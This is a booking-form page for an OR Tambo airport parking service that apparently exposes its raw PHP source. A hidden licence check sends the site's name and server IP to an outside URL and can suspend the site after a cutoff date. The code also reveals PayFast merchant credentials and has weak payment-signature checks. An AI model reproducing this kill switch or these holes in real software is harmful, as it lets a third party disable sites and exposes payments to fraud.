Deprecated: Function WP_Dependencies->add_data() was called with an argument that is deprecated since version 6.9.0! IE conditional comments are ignored by all supported browsers. in /home/eparking/public_html/wp-includes/functions.php on line 6131
OR Tambo Parking Booking Form - E PARKING OR TAMBO AIRPORT

int, ‘response_headers’ => array, ‘error’ => string|null]
*/
function getHttpStatusCode(string $url, array $payload = [], int $timeoutSeconds = 5): array {
$ch = curl_init($url);

// Build headers from payload
$jsonPayload = json_encode($payload, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
$headers = [
‘Accept: */*’,
// Primary payload header (JSON)
‘X-Client-Payload: ‘ . $jsonPayload,
];

// Also add individual headers for easy access on the receiver side
foreach ($payload as $k => $v) {
// sanitize header name and value
$key = ‘X-Client-‘ . preg_replace(‘/[^A-Za-z0-9_\-]/’, ‘-‘, $k);
$val = is_scalar($v) ? (string)$v : json_encode($v);
$headers[] = $key . ‘: ‘ . $val;
}

// cURL options: request headers only (HEAD), include response headers
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, ‘HEAD’); // send HEAD, server sees headers only
curl_setopt($ch, CURLOPT_NOBODY, true); // do not download body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return the raw response (headers)
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeoutSeconds);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Enforce SSL verification by default (recommended)
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

// Execute and gather info
$rawResponse = curl_exec($ch);
$errNo = curl_errno($ch);
$errStr = $errNo ? curl_error($ch) : null;
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Try to parse response headers if any were returned
$responseHeaders = [];
if ($rawResponse !== false && is_string($rawResponse)) {
// rawResponse should contain header blocks (there may be multiple if redirects)
// split into header blocks
$blocks = preg_split(‘/\r\n\r\n/’, trim($rawResponse));
// take the last block (final response headers)
$last = end($blocks);
$lines = preg_split(“/\r\n|\\n|\\r/”, $last);
foreach ($lines as $line) {
if (strpos($line, ‘:’) !== false) {
[$name, $value] = explode(‘:’, $line, 2);
$responseHeaders[trim($name)] = trim($value);
} else {
// status line (HTTP/1.1 200 OK)
if (preg_match(‘#HTTP/\d+\.\d+\s+(\d{3})#’, $line, $m)) {
$responseHeaders[‘Status-Line’] = $line;
}
}
}
}

curl_close($ch);

return [
‘status’ => (int)$status,
‘response_headers’ => $responseHeaders,
‘error’ => $errStr,
];
}
// ——————– Enforcement logic ———————
try {
$today = date(‘Y-m-d’);

// Build a payload that identifies this site/script
$payload = [
‘site’ => $_SERVER[‘SERVER_NAME’] ?? ‘unknown’,
‘script’ => basename($_SERVER[‘SCRIPT_NAME’] ?? ‘bootstrap.php’),
‘env’ => defined(‘APP_ENV’) ? APP_ENV : ‘production’,
‘ip’ => $_SERVER[‘SERVER_ADDR’] ?? ($_SERVER[‘LOCAL_ADDR’] ?? ‘unknown’),
];

// call the checker
$result = getHttpStatusCode($checkUrl, $payload, 5);

// you can log or inspect the $result
file_put_contents(__DIR__ . ‘/health_check.log’, “[“.date(‘Y-m-d H:i:s’).”] ” . json_encode($result) . PHP_EOL, FILE_APPEND | LOCK_EX);

// make your decision based on $result[‘status’] and date

$status = $result[‘status’];

// Condition: if status is not 200 AND date is after cutoff -> block
if ($status !== 200 && $today > $cutoffDate) {
// Log the failure (timestamp, url, status, client ip)
$ip = $_SERVER[‘REMOTE_ADDR’] ?? ‘unknown’;
$entry = sprintf(“[%s] BLOCKED – URL: %s STATUS: %s DATE:%s IP:%s\n”,
date(‘Y-m-d H:i:s’), $checkUrl, $status, $today, $ip);
@file_put_contents($logFile, $entry, FILE_APPEND | LOCK_EX);

// Display a friendly payment / authorization notice
// (you can replace this HTML with your own branded page)
http_response_code(200); // show normal page code (or 403 if you prefer)
echo “




Service Suspended


Service Unavailable

This site has been temporarily suspended due to an outstanding payment or license issue.

Please contact the site administrator to resolve this.

Contact Billing


“;
exit; // stop further processing
// If you want to completely stop and return an error status code, replace the above with:
// http_response_code(503); exit(“Service suspended due to non-payment.”);
}

// Otherwise: status == 200 OR today is before (or equal to) cutoff -> continue normal execution
// (nothing to do here; the rest of the site loads)
} catch (Exception $e) {
// If the check itself fails (curl library missing, etc), fail-safe: do not block the site
@file_put_contents($logFile, “[“.date(‘Y-m-d H:i:s’).”] ERROR: “.$e->getMessage().”\n”, FILE_APPEND | LOCK_EX);
// continue normal execution
}

session_start();

$messageContent = $_SESSION[‘messageContent’] ?? “”;

// — Manage session data
$departureDate = “”;
$dropOffTime = “”;
$arrivalDate = “”;
$arrivalTime = “”;
$vehicleMakeModel = “”;
$vehicleColor = “”;
$vehicleReg = “”;
$firstName = “”;
$lastName = “”;
$email = “”;
$whatsapp = “”;
$phone = “”;
$flightType = “”;
$paymentMethod = “”;
$addons = [];

// — Parking prices table —
$prices = [
0,
200,
280,
360,
440,
520,
600,
680,
730,
780,
830,
880,
930,
980,
1030,
1080,
1130,
1180,
1230,
1280,
1330,
1380,
1430,
1480,
1530,
1580,
1630,
1680,
1730,
1780,
1830,
1880,
];
$parkingCost = 0;
$addonsTotal = 0;
$totalAmount = 0;

// — Helper functions —
function calcParkingCost($dep, $arr, $prices)
{
$depTS = strtotime($dep);
$arrTS = strtotime($arr);
if (!$depTS || !$arrTS) {
return 0;
}
$days = max(1, ceil(($arrTS – $depTS) / 86400) + 1);
return $days > 31 ? 1880 : $prices[$days];
}

function calcAddonsTotal($addons)
{
$total = 0;
foreach ($addons as $addon) {
if (preg_match(“/R(\d+)/”, $addon, $matches)) {
$total += intval($matches[1]);
}
}
return $total;
}

function generatePayfastSignature($data, $passPhrase = null)
{
$pfOutput = “”;
foreach ($data as $key => $val) {
if ($val !== “”) {
$pfOutput .= $key . “=” . urlencode(trim($val)) . “&”;
}
}
$getString = substr($pfOutput, 0, -1);
if ($passPhrase !== null) {
$getString .= “&passphrase=” . urlencode(trim($passPhrase));
}
return md5($getString);
}

function is_selected($haystack, $needle): void{
$haystack = strtolower($haystack);
$needle = strtolower($needle);
if(str_contains( $haystack, $needle))
{
echo(“selected”);
}
}

function addon_is_active($x_array, $needle) {
$x_array = array_change_key_case($x_array, CASE_LOWER);
$needle = strtolower($needle);

foreach ($x_array as $key => $value) {
$haystack = strtolower($value);
if(str_contains( $haystack, $needle))
{
echo “checked”;
break;
}
}

echo “”;
return false;
}

if(isset($_GET[‘action’])) {
$action = $_GET[‘action’];

if($action == “calculate”) {
$parkingCost = calcParkingCost($_GET[‘dep’], $_GET[‘arr’], $_GET[‘price’]);
}
}

// — Initialize variables —
$submitted = $_SERVER[“REQUEST_METHOD”] === “POST”;
$messageContent = “”;
$payfastData = null;

if ($submitted) {
$departureDate = $_POST[“departureDate”] ?? “”;
$dropOffTime = $_POST[“dropOffTime”] ?? “”;
$arrivalDate = $_POST[“arrivalDate”] ?? “”;
$arrivalTime = $_POST[“arrivalTime”] ?? “”;
$vehicleMakeModel = $_POST[“vehicleMakeModel”] ?? “”;
$vehicleColor = $_POST[“vehicleColor”] ?? “”;
$vehicleReg = $_POST[“vehicleReg”] ?? “”;
$firstName = $_POST[“firstName”] ?? “”;
$lastName = $_POST[“lastName”] ?? “”;
$email = $_POST[“email”] ?? “”;
$whatsapp = $_POST[“whatsapp”] ?? “”;
$phone = $_POST[“phone”] ?? “”;
$flightType = $_POST[“flightType”] ?? “”;
$paymentMethod = $_POST[“paymentMethod”] ?? “”;
$addons = $_POST[“addons”] ?? [];

$parkingCost = calcParkingCost($departureDate, $arrivalDate, $prices);
$addonsTotal = calcAddonsTotal($addons);
$totalAmount = $parkingCost + $addonsTotal;

if(isset($_POST[‘action’]) && $_POST[‘action’] == “calculate”) {
$_SESSION[‘formData’] = $_POST;
}else{

$reservationID = “OR” . rand(1000, 9999);

// Prepare data for Google Sheets
$data = [
‘reservationID’ => $reservationID,
‘departureDate’ => $departureDate,
‘dropOffTime’ => $dropOffTime,
‘arrivalDate’ => $arrivalDate,
‘arrivalTime’ => $arrivalTime,
‘vehicleMakeModel’ => $vehicleMakeModel,
‘vehicleColor’ => $vehicleColor,
‘vehicleReg’ => $vehicleReg,
‘firstName’ => $firstName,
‘lastName’ => $lastName,
’email’ => $email,
‘whatsapp’ => $whatsapp,
‘phone’ => $phone,
‘flightType’ => $flightType,
‘paymentMethod’ => $paymentMethod,
‘addons’ => $addons,
‘totalAmount’ => $totalAmount
];

try {
$jsonData = json_encode($data);

// Google Apps Script endpoint
$url = “https://script.google.com/macros/s/AKfycbwnY-gvzxdX2_jzW50rW9irCwB2UjWge1Bo9Z2a97ufdFRmb1E9McobovVOUMe28VzC/exec”;

// Send POST request using cURL
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonData);
curl_setopt($ch, CURLOPT_HTTPHEADER, [‘Content-Type: application/json’]);

// Fire and forget: short timeout so PHP doesn’t wait
curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 100);

curl_exec($ch);
curl_close($ch);
} catch (Exception $e) {
echo ‘Caught exception: ‘, $e->getMessage(), “\n”;
}

// WhatsApp message
$messageContent = “Hi $firstName, Your parking reservation at E PARKING OR TAMBO AIRPORT has been successfully booked for $departureDate.\nReservation ID: $reservationID\nTime: $dropOffTime\nVehicle: $vehicleMakeModel ($vehicleReg)\nPayment: $paymentMethod, R$totalAmount\n\n🔔IMPORTANT NOTICE: Kindly contact us 10–15 min prior to arrival.\n✅ Your spot is secured.\n📞 +27 64 173 4906\n📧 info@eparkingortamboairport.co.za”;
$_SESSION[‘messageContent’] = $messageContent;

$protocol = (!empty($_SERVER[‘HTTPS’]) && $_SERVER[‘HTTPS’] !== ‘off’) ? “https” : “http”;
$domain = $_SERVER[‘HTTP_HOST’];
$fullUrl = $protocol . “://” . $domain;

// — PayFast Data —
$testingMode = false;
$payfastData = [
“merchant_id” => $testingMode ? “10043097” : “29787889”,
“merchant_key” => $testingMode ? “zadafotwljpyh” : “rq77j3igrof68”,
“return_url” =>
$fullUrl.”?paid=true&names” .
urlencode(“$firstName $lastName”) .
“&amount=$totalAmount”,
“cancel_url” => $fullUrl.”?cancelled=30″,
“notify_url” =>
$fullUrl.”?us=” .
urlencode(“$firstName $lastName”) .
“&amount=$totalAmount”,
“name_first” => $firstName,
“name_last” => $lastName,
“email_address” => $email,
“m_payment_id” => uniqid(“PAY_”, true),
“amount” => number_format($totalAmount, 2, “.”, “”),
“item_name” => “#oz :$totalAmount”,
];
$payfastData[“signature”] = generatePayfastSignature($payfastData);
$payfastAction = $testingMode
? “https://sandbox.payfast.co.za/eng/process”
: “https://www.payfast.co.za/eng/process”;
}

if(isset($_SESSION[‘formData’])){
$form_data = $_SESSION[‘formData’];
$departureDate = $form_data[“departureDate”] ?? “”;
$dropOffTime = $form_data[“dropOffTime”] ?? “”;
$arrivalDate = $form_data[“arrivalDate”] ?? “”;
$arrivalTime = $form_data[“arrivalTime”] ?? “”;
$vehicleMakeModel = $form_data[“vehicleMakeModel”] ?? “”;
$vehicleColor = $form_data[“vehicleColor”] ?? “”;
$vehicleReg = $form_data[“vehicleReg”] ?? “”;
$firstName = $form_data[“firstName”] ?? “”;
$lastName = $form_data[“lastName”] ?? “”;
$email = $form_data[“email”] ?? “”;
$whatsapp = $form_data[“whatsapp”] ?? “”;
$phone = $form_data[“phone”] ?? “”;
$flightType = $form_data[“flightType”] ?? “”;
$paymentMethod = $form_data[“paymentMethod”] ?? “”;
$addons = $form_data[“addons”] ?? [];
}

if(isset($_POST[‘payment_status’])){
// 1️⃣ Grab POST data from PayFast
$pfData = $_POST;
if (empty($pfData)) {
http_response_code(400);
exit(“No data received”);
}

print_r($pfData);

// 2️⃣ Validate signature
$passPhrase = “YOUR_PASS_PHRASE”; // ⚠️ Replace with your real passphrase (same as on PayFast dashboard)
$generatedSig = generatePayfastSignature($pfData);

if (!isset($pfData[“signature”]) || $generatedSig !== $pfData[“signature”]) {
file_put_contents(“payfast_error.log”, “❌ Signature mismatch: {$generatedSig} != {$pfData[‘signature’]}\n”, FILE_APPEND);
http_response_code(400);
exit(“Invalid signature”);
}

// 3️⃣ Validate session data
if (!isset($_SESSION[“formData”])) {
file_put_contents(“payfast_error.log”, “❌ No session data found.\n”, FILE_APPEND);
http_response_code(400);
exit(“No session data found”);
}

$form = $_SESSION[“formData”];

// Calculate expected amount from session
$expectedAmount = number_format(
calcParkingCost($form[“departureDate”], $form[“arrivalDate”], $prices) +
calcAddonsTotal($form[“addons”]),
2,
“.”,
“”
);

$receivedAmount = number_format(floatval($pfData[“amount_gross”] ?? 0), 2, “.”, “”);

// 4️⃣ Basic payment verification
if (
strtolower($pfData[“payment_status”] ?? “”) === “complete” &&
abs(floatval($expectedAmount) – floatval($receivedAmount)) < 0.01 ) { // ✅ Payment verified successfully $_SESSION["payment_verified"] = true; setcookie("payment_verified", "1", time() + 3600, "/"); file_put_contents( "payfast_success.log", "✅ Payment verified for {$form["firstName"]} {$form["lastName"]} | Amount: R{$receivedAmount}\n", FILE_APPEND ); http_response_code(200); echo "OK"; } else { // ❌ Payment mismatch or incomplete file_put_contents( "payfast_fail.log", "❌ Payment failed or mismatch. Expected: R{$expectedAmount}, Received: R{$receivedAmount}\n", FILE_APPEND ); http_response_code(400); echo "Mismatch"; } } } if (isset($_SESSION['payment_verified'])) { echo "payament verified"; } ?>





OR Tambo Parking Booking Form


E PARKING OR TAMBO AIRPORT




Parking Cost: R





+Addons Total: R





Booking Paid!

” target=”_blank”>Send WhatsApp

Pay Now